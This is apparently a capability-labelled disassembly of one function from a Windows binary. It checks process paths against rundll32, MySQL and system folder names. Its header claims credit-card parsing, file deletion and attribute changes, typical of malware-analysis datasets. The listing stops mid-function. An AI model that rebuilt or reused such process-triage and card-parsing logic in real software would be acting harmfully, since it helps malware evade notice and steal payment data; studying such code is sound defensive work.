Function at 0x439170
Capabilities:
Delete file
Encode data using base64
Get common file path
Get file attributes
Parse credit card information
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x483b2b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1c78
call fcn.0047bda0
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x188], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x16c], ebx
mov dword [ebp - 0xdc], ebx
mov dword [ebp - 0x164], ebx
mov dword [ebp - 0x134], ebx
mov dword [ebp - 0x154], ebx
mov dword [ebp - 0x17c], ebx
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0x110], ebx
mov dword [ebp - 0xd8], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x118], ebx
mov dword [ebp - 0xac], ebx
mov dword [ebp - 0x88], ebx
mov dword [ebp - 0xc8], ebx
mov dword [ebp - 0x120], ebx
mov dword [ebp - 0x130], ebx
mov dword [ebp - 0x148], ebx
mov dword [ebp - 0x150], ebx
mov dword [ebp - 0xc0], ebx
mov dword [ebp - 0xe0], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0xd0], ebx
mov dword [ebp - 0xb0], ebx
mov dword [ebp - 0x140], ebx
mov dword [ebp - 0x184], ebx
mov dword [ebp - 0x15c], ebx
mov dword [ebp - 0x13c], ebx
mov dword [ebp - 0xc4], ebx
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xb4], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0xbc], ebx
mov dword [ebp - 0x108], ebx
mov dword [ebp - 0x144], ebx
mov dword [ebp - 0xfc], ebx
mov dword [ebp - 0x100], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xf8], ebx
mov dword [ebp - 0x124], ebx
mov dword [ebp - 0x114], ebx
mov dword [ebp - 0x12c], ebx
mov dword [ebp - 0x128], ebx
mov dword [ebp - 0x138], ebx
mov dword [ebp - 0x194], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x168], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x170], ebx
mov dword [ebp - 0x158], ebx
mov dword [ebp - 0x104], ebx
mov dword [ebp - 0xd4], ebx
mov dword [ebp - 0xcc], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0xb8], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x178], ebx
mov dword [ebp - 0x160], ebx
mov dword [ebp - 0x14c], ebx
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 0xe8], ebx
mov dword [ebp - 0xe4], ebx
mov dword [ebp - 0xec], ebx
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x18c], ebx
lea eax, [ebp - 0x1708]
push 0x80
push eax
mov dword [ebp - 0x11c], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x8c], ebx
mov dword [ebp - 0x198], ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [ebp - 0xb28]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, dword [ebp + 0xc]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x428]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 3
mov dword [ebp + 0xc], ecx
jge 0x4393d1
push str.NULL
call fcn.00483565
mov ecx, dword [ebp + 0x10]
push 0x49bbd4
mov dword [ecx], eax
call fcn.00483565
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x428]
push str.rundll32.exe
push edx
call fcn.0047bec0
lea eax, [ebp - 0x428]
push str.rundll32.
push eax
call fcn.0047bec0
add esp, 0x10
test eax, eax
jne 0x43942e
lea ecx, [ebp - 0x428]
push str.RUNDLL32.
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x43942e
lea edx, [ebp - 0x428]
push str.Rundll32.
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4394be
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x728]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x728]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, ebx
jle 0x43948e
cmp byte [ebp + eax - 0x728], 0x33
jne 0x439489
cmp byte [ebp + eax - 0x727], 0x32
jne 0x439489
cmp byte [ebp + eax - 0x726], 0x2e
je 0x43948e
inc eax
cmp eax, ecx
jl 0x43946b
mov edx, ecx
sub edx, eax
lea ecx, [edx - 7]
cmp ecx, ebx
jle 0x4394b6
lea eax, [ebp + eax - 0x721]
lea edi, [ebp - 0x428]
mov esi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [ebp + edx - 0x42f], 0
lea ecx, [ebp - 0x428]
push str.MySQLMySQL
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439505
lea edx, [ebp - 0x428]
push edx
call fcn.00483565
mov ecx, dword [ebp + 0x10]
push 0x49e9f0
mov dword [ecx], eax
call fcn.00483565
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x428]
push str.mysqld_nt
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439564
lea eax, [ebp - 0x428]
push 0x492670
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439564
lea ecx, [ebp - 0x428]
push ecx
call fcn.00483565
mov edx, dword [ebp + 0x10]
push 0x49e9f0
mov dword [edx], eax
call fcn.00483565
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x428]
push str.mysqld_nt
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439598
lea ecx, [ebp - 0x428]
push 0x49e9e0
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x4394d6
lea edx, [ebp - 0x428]
push str.MySql_bin_mysql
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x4395c8
lea edx, [ebp - 0x428]
push str.Mysql_bin_mysql
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4395f7
lea eax, [ebp - 0x428]
push eax
call fcn.00483565
mov ecx, dword [ebp + 0x10]
push 0x49e9a0
mov dword [ecx], eax
call fcn.00483565
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x428]
push str..dll
push edx
call fcn.0047bec0
add esp, 8
mov esi, 1
test eax, eax
je 0x439617
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x428]
push str..DLL
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439632
mov dword [ebp - 0x18], esi
lea ecx, [ebp - 0x428]
push str..Dll
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43964d
mov dword [ebp - 0x18], esi
lea edx, [ebp - 0x428]
push str..tmp
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43966b
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x428]
push str..Tmp
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439689
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], esi
lea ecx, [ebp - 0x428]
push str..TMP
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4396a7
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], esi
lea edx, [ebp - 0x428]
push str._temp_
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4396c5
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x428]
push str.Temp_
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4396e3
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], esi
lea ecx, [ebp - 0x428]
push str.TEMP_
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439701
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], esi
lea edx, [ebp - 0x428]
push str.Documents_and_Settings_
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439743
lea eax, [ebp - 0x428]
push str.Application_Data_
push eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0xd4], esi
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439743
mov dword [ebp - 0x160], esi
lea ecx, [ebp - 0x428]
push str.Program_FilesCommon_Files
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439761
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], esi
lea edx, [ebp - 0x428]
push str.program_filesWindows_NT_
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439788
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x178], esi
lea eax, [ebp - 0x428]
push str.Program_FilesOutlook_Express
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4397a6
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], esi
lea ecx, [ebp - 0x428]
push str.documents_and_settings_
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4397e8
lea edx, [ebp - 0x428]
push str.Application_Data_
push edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0xd4], esi
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4397e8
mov dword [ebp - 0x160], esi
lea eax, [ebp - 0x428]
push str.program_filescommon_Files
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439806
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], esi
lea ecx, [ebp - 0x428]
push str._temp_
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439824
mov dword [ebp - 0x90], esi
lea edx, [ebp - 0x428]
push str.Temp_
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439842
mov dword [ebp - 0x90], esi
lea eax, [ebp - 0x428]
push str.RECYCLER_
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439860
mov dword [ebp - 0xcc], esi
lea ecx, [ebp - 0x428]
push str.Program_FilesMicrosoft
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43987b
mov dword [ebp - 0x58], esi
lea edx, [ebp - 0x428]
push str.Program_FilesWindows
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43989c
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x178], esi
lea eax, [ebp - 0x428]
push str.Program_FilesOutlook
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4398b7
mov dword [ebp - 0x58], esi
lea ecx, [ebp - 0x428]
push str.Program_FilesNetMeeting
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4398d2
mov dword [ebp - 0x58], esi
lea edx, [ebp - 0x428]
push str.Program_FilesMSN
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4398ed
mov dword [ebp - 0x58], esi
lea eax, [ebp - 0x428]
push 0x492024
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43996a
lea ecx, [ebp - 0x428]
push 0x492288
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43996a
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
xor edi, edi
xor edx, edx
cmp ecx, ebx
jle 0x43995d
mov al, byte [ebp + edx - 0x428]
cmp al, 0x3a
jne 0x43994b
mov edi, 1
cmp esi, edi
je 0x43995d
cmp al, 0x25
jne 0x439958
mov esi, 1
cmp edi, esi
je 0x43995d
inc edx
cmp edx, ecx
jl 0x439937
mov byte [ebp + edx - 0x428], 0
mov esi, 1
lea edx, [ebp - 0x428]
push 0x492024
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x439c54
lea eax, [ebp - 0x428]
push 0x492288
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x439c54
lea ecx, [ebp - 0x428]
push str.SystemRoot_
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439a88
lea edx, [ebp - 0x218]
push 0x80
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x528]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x528]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea esi, [ecx - 0xa]
cmp esi, ebx
jle 0x439a26
mov dl, byte [ebp + eax - 0x528]
cmp dl, 0x53
je 0x439a26
cmp dl, 0x73
je 0x439a26
inc eax
cmp eax, esi
jl 0x439a10
sub ecx, eax
xor esi, esi
lea edx, [ecx - 0xa]
cmp edx, ebx
jle 0x439a52
lea eax, [ebp + eax - 0x51e]
mov ecx, edx
mov esi, eax
mov eax, ecx
lea edi, [ebp - 0x728]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
lea ecx, [ebp - 0x728]
lea edx, [ebp - 0x218]
push ecx
push edx
lea eax, [ebp - 0x428]
push str._s_s
push eax
mov byte [ebp + esi - 0x728], 0
mov byte [ebp - 0x428], 0
call fcn.0047a8f8
add esp, 0x10
mov esi, 1
lea ecx, [ebp - 0x428]
push str.systemroot_
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439b6e
lea edx, [ebp - 0x218]
push 0x80
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x528]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x528]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea esi, [ecx - 0xa]
cmp esi, ebx
jle 0x439b0c
mov dl, byte [ebp + eax - 0x528]
cmp dl, 0x53
je 0x439b0c
cmp dl, 0x73
je 0x439b0c
inc eax
cmp eax, esi
jl 0x439af6
sub ecx, eax
xor esi, esi
lea edx, [ecx - 0xa]
cmp edx, ebx
jle 0x439b38
lea eax, [ebp + eax - 0x51e]
mov ecx, edx
mov esi, eax
mov eax, ecx
lea edi, [ebp - 0x728]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
lea ecx, [ebp - 0x728]
lea edx, [ebp - 0x218]
push ecx
push edx
lea eax, [ebp - 0x428]
push str._s_s
push eax
mov byte [ebp + esi - 0x728], 0
mov byte [ebp - 0x428], 0
call fcn.0047a8f8
add esp, 0x10
mov esi, 1
lea ecx, [ebp - 0x428]
push str.Systemroot_
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439c54
lea edx, [ebp - 0x218]
push 0x80
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x528]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x528]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea esi, [ecx - 0xa]
cmp esi, ebx
jle 0x439bf2
mov dl, byte [ebp + eax - 0x528]
cmp dl, 0x53
je 0x439bf2
cmp dl, 0x73
je 0x439bf2
inc eax
cmp eax, esi
jl 0x439bdc
sub ecx, eax
xor esi, esi
lea edx, [ecx - 0xa]
cmp edx, ebx
jle 0x439c1e
lea eax, [ebp + eax - 0x51e]
mov ecx, edx
mov esi, eax
mov eax, ecx
lea edi, [ebp - 0x728]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
lea ecx, [ebp - 0x728]
lea edx, [ebp - 0x218]
push ecx
push edx
lea eax, [ebp - 0x428]
push str._s_s
push eax
mov byte [ebp + esi - 0x728], 0
mov byte [ebp - 0x428], 0
call fcn.0047a8f8
add esp, 0x10
mov esi, 1
lea ecx, [ebp - 0x428]
push 0x492024
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x439d5b
lea edx, [ebp - 0x428]
push 0x49e810
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439d5b
lea eax, [ebp - 0x218]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x528]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0x215], 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x528]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [ecx - 0xe]
cmp edx, ebx
jle 0x439cf4
cmp byte [ebp + eax - 0x528], 0x25
je 0x439cf4
inc eax
cmp eax, edx
jl 0x439ce5
sub ecx, eax
xor esi, esi
lea edx, [ecx - 0xe]
cmp edx, ebx
jle 0x439d20
lea eax, [ebp + eax - 0x51a]
mov ecx, edx
mov esi, eax
mov eax, ecx
lea edi, [ebp - 0x728]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
lea ecx, [ebp - 0x728]
lea edx, [ebp - 0x218]
push ecx
push str.Program_Files
push edx
lea eax, [ebp - 0x428]
push 0x493248
push eax
mov byte [ebp + esi - 0x728], 0
mov byte [ebp - 0x428], 0
call fcn.0047a8f8
add esp, 0x14
mov esi, 1
lea ecx, [ebp - 0x428]
push 0x492024
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x439e62
lea edx, [ebp - 0x428]
push 0x48bb40
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439e62
lea eax, [ebp - 0x218]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x528]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0x215], 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x528]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [ecx - 0xe]
cmp edx, ebx
jle 0x439dfb
cmp byte [ebp + eax - 0x528], 0x25
je 0x439dfb
inc eax
cmp eax, edx
jl 0x439dec
sub ecx, eax
xor esi, esi
lea edx, [ecx - 0xe]
cmp edx, ebx
jle 0x439e27
lea eax, [ebp + eax - 0x51a]
mov ecx, edx
mov esi, eax
mov eax, ecx
lea edi, [ebp - 0x728]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
lea ecx, [ebp - 0x728]
lea edx, [ebp - 0x218]
push ecx
push str.Program_Files
push edx
lea eax, [ebp - 0x428]
push 0x493248
push eax
mov byte [ebp + esi - 0x728], 0
mov byte [ebp - 0x428], 0
call fcn.0047a8f8
add esp, 0x14
mov esi, 1
lea ecx, [ebp - 0x428]
push 0x48b2f4
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x439f41
lea edx, [ebp - 0x218]
push 0x80
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x528]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x528]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [ecx - 0xc]
cmp edx, ebx
jle 0x439edf
cmp byte [ebp + eax - 0x528], 0x25
je 0x439edf
inc eax
cmp eax, edx
jl 0x439ed0
sub ecx, eax
xor esi, esi
lea edx, [ecx - 0xc]
cmp edx, ebx
jle 0x439f0b
lea eax, [ebp + eax - 0x51c]
mov ecx, edx
mov esi, eax
mov eax, ecx
lea edi, [ebp - 0x728]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
lea ecx, [ebp - 0x728]
lea edx, [ebp - 0x218]
push ecx
push edx
lea eax, [ebp - 0x428]
push str._s_s
push eax
mov byte [ebp + esi - 0x728], 0
mov byte [ebp - 0x428], 0
call fcn.0047a8f8
add esp, 0x10
mov esi, 1
lea ecx, [ebp - 0x428]
push 0x49bba4
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43a020
lea edx, [ebp - 0x218]
push 0x80
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x528]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x528]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [ecx - 0xc]
cmp edx, ebx
jle 0x439fbe
cmp byte [ebp + eax - 0x528], 0x25
je 0x439fbe
inc eax
cmp eax, edx
jl 0x439faf
sub ecx, eax
xor esi, esi
lea edx, [ecx - 0xc]
cmp edx, ebx
jle 0x439fea
lea eax, [ebp + eax - 0x51c]
mov ecx, edx
mov esi, eax
mov eax, ecx
lea edi, [ebp - 0x728]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
lea ecx, [ebp - 0x728]
lea edx, [ebp - 0x218]
push ecx
push edx
lea eax, [ebp - 0x428]
push str._s_s
push eax
mov byte [ebp + esi - 0x728], 0
mov byte [ebp - 0x428], 0
call fcn.0047a8f8
add esp, 0x10
mov esi, 1
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 8
mov byte [ebp + ecx - 0x428], al
jle 0x43a3c5
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x728]
mov eax, ecx
mov esi, edi
mov edi, edx
push str._programfiles_
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x728]
mov byte [ebp - 0x71a], 0
push ecx
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x43a133
lea edx, [ebp - 0x218]
push 0x80
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x528]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0x216], 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x528]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [ecx - 0xe]
test edx, edx
jle 0x43a102
lea eax, [ecx - 0xe]
lea esi, [ebp - 0x51a]
mov ecx, eax
lea edi, [ebp - 0xc28]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0xc28], 0
lea eax, [ebp - 0xc28]
lea ecx, [ebp - 0x218]
push eax
push ecx
lea edx, [ebp - 0x428]
push str._sProgram_Files_s
push edx
mov byte [ebp - 0x428], 0
call fcn.0047a8f8
add esp, 0x10
lea eax, [ebp - 0x728]
push str.Systemroot
push eax
mov byte [ebp - 0x71e], 0
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x43a20f
lea ecx, [ebp - 0x218]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x528]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x528]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [ecx - 0xa]
test edx, edx
jle 0x43a1c7
lea eax, [ecx - 0xa]
lea esi, [ebp - 0x51e]
mov ecx, eax
lea edi, [ebp - 0xc28]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0xc28], 0
lea eax, [ebp - 0xc28]
lea ecx, [ebp - 0x218]
push eax
push ecx
lea edx, [ebp - 0x428]
push str._s_s
push edx
mov byte [ebp - 0x428], 0
call fcn.0047a8f8
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ebp + ecx - 0x428], al
lea eax, [ebp - 0x728]
push str.system32
push eax
mov byte [ebp - 0x720], 0
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x43a2eb
lea ecx, [ebp - 0x218]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x528]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x528]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [ecx - 8]
test edx, edx
jle 0x43a2a3
lea eax, [ecx - 8]
lea esi, [ebp - 0x520]
mov ecx, eax
lea edi, [ebp - 0xc28]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0xc28], 0
lea eax, [ebp - 0xc28]
lea ecx, [ebp - 0x218]
push eax
push ecx
lea edx, [ebp - 0x428]
push str._s_s
push edx
mov byte [ebp - 0x428], 0
call fcn.0047a8f8
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ebp + ecx - 0x428], al
lea eax, [ebp - 0x728]
push str._Windir_
push eax
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x43a3c0
